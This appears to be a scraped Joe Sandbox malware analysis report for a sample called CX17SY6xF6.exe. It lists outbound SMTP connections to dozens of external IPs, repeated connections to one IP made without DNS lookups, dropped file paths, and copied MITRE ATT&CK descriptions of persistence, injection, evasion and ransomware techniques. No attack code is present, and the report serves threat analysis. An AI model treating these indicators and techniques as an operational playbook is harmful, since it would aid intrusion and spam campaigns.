Source: global traffic	TCP traffic: 192.168.2.4:56239 -> 204.15.134.44:25
Source: global traffic	TCP traffic: 192.168.2.4:56249 -> 178.249.70.75:25
Source: global traffic	TCP traffic: 192.168.2.4:56250 -> 198.49.23.144:25
Source: global traffic	TCP traffic: 192.168.2.4:56621 -> 87.230.93.218:25
Source: global traffic	TCP traffic: 192.168.2.4:56648 -> 92.42.191.40:25
Source: global traffic	TCP traffic: 192.168.2.4:56705 -> 194.76.27.77:25
Source: global traffic	TCP traffic: 192.168.2.4:57289 -> 193.70.68.254:25
Source: global traffic	TCP traffic: 192.168.2.4:57503 -> 104.21.10.34:25
Source: global traffic	TCP traffic: 192.168.2.4:57518 -> 128.204.134.138:25
Source: global traffic	TCP traffic: 192.168.2.4:57607 -> 183.90.232.24:25
Source: global traffic	TCP traffic: 192.168.2.4:57704 -> 62.122.170.171:25
Source: global traffic	TCP traffic: 192.168.2.4:57948 -> 54.212.145.129:25
Source: global traffic	TCP traffic: 192.168.2.4:58002 -> 212.44.102.57:25
Source: global traffic	TCP traffic: 192.168.2.4:58015 -> 154.213.117.166:25
Source: global traffic	TCP traffic: 192.168.2.4:59005 -> 49.212.243.77:25
Source: global traffic	TCP traffic: 192.168.2.4:59401 -> 35.172.94.1:25
Source: global traffic	TCP traffic: 192.168.2.4:60150 -> 185.129.138.60:25
Source: global traffic	TCP traffic: 192.168.2.4:60759 -> 75.2.70.75:25
Source: global traffic	TCP traffic: 192.168.2.4:60809 -> 162.241.233.114:25
Source: global traffic	TCP traffic: 192.168.2.4:60826 -> 202.94.166.30:25
Source: global traffic	TCP traffic: 192.168.2.4:61372 -> 79.96.161.192:25
Source: global traffic	TCP traffic: 192.168.2.4:62082 -> 199.59.243.224:25
Source: global traffic	TCP traffic: 192.168.2.4:62084 -> 3.94.41.167:25
Source: global traffic	TCP traffic: 192.168.2.4:62098 -> 216.239.32.21:25
Source: global traffic	TCP traffic: 192.168.2.4:62107 -> 185.22.232.175:25
Source: global traffic	TCP traffic: 192.168.2.4:1560 -> 208.80.123.104:25
Source: global traffic	TCP traffic: 192.168.2.4:2773 -> 93.187.206.66:25
Source: global traffic	TCP traffic: 192.168.2.4:3435 -> 45.142.176.225:25
Source: global traffic	TCP traffic: 192.168.2.4:3452 -> 202.172.28.187:25
Source: global traffic	TCP traffic: 192.168.2.4:3472 -> 202.172.28.89:25
Source: global traffic	TCP traffic: 192.168.2.4:5425 -> 141.193.213.20:25
Source: global traffic	TCP traffic: 192.168.2.4:5685 -> 157.7.107.88:25
Source: global traffic	TCP traffic: 192.168.2.4:7214 -> 46.8.8.200:25
Source: global traffic	TCP traffic: 192.168.2.4:7584 -> 216.177.137.32:25
Source: global traffic	TCP traffic: 192.168.2.4:8153 -> 198.185.159.144:25
Source: global traffic	TCP traffic: 192.168.2.4:10071 -> 195.128.140.29:25
Source: global traffic	TCP traffic: 192.168.2.4:12204 -> 59.106.13.169:25
Source: global traffic	TCP traffic: 192.168.2.4:13606 -> 211.13.204.3:25
Source: global traffic	TCP traffic: 192.168.2.4:13926 -> 217.74.161.133:25
Source: global traffic	TCP traffic: 192.168.2.4:17233 -> 35.154.163.204:25
Source: global traffic	TCP traffic: 192.168.2.4:17254 -> 46.19.218.80:25
Source: global traffic	TCP traffic: 192.168.2.4:17303 -> 219.94.129.97:25
Source: global traffic	TCP traffic: 192.168.2.4:19787 -> 3.64.163.50:25
Source: global traffic	TCP traffic: 192.168.2.4:19896 -> 35.230.155.43:25
Source: global traffic	TCP traffic: 192.168.2.4:20918 -> 217.19.254.22:25
Source: global traffic	TCP traffic: 192.168.2.4:21160 -> 76.74.184.61:25
Source: global traffic	TCP traffic: 192.168.2.4:21342 -> 198.185.159.145:25
Source: global traffic	TCP traffic: 192.168.2.4:21369 -> 104.21.79.166:25
Source: global traffic	TCP traffic: 192.168.2.4:21374 -> 23.227.38.32:25

Source: unknown	TCP traffic detected without corresponding DNS query: 198.1.81.28
Source: unknown	TCP traffic detected without corresponding DNS query: 211.13.196.162
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CX17SY6xF6.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\bc49718863ee53e026d805ec372039e9_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\pigalicapi.exe

C:\Users\user\pigalicapi.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
CX17SY6xF6.exe

Function 010D1F80 Relevance: 9.4, APIs: 6, Instructions: 417
COMMONCrypto

Function 010D3E70 Relevance: 1.8, APIs: 1, Instructions: 284
COMMONCrypto

Function 010DDEDD Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre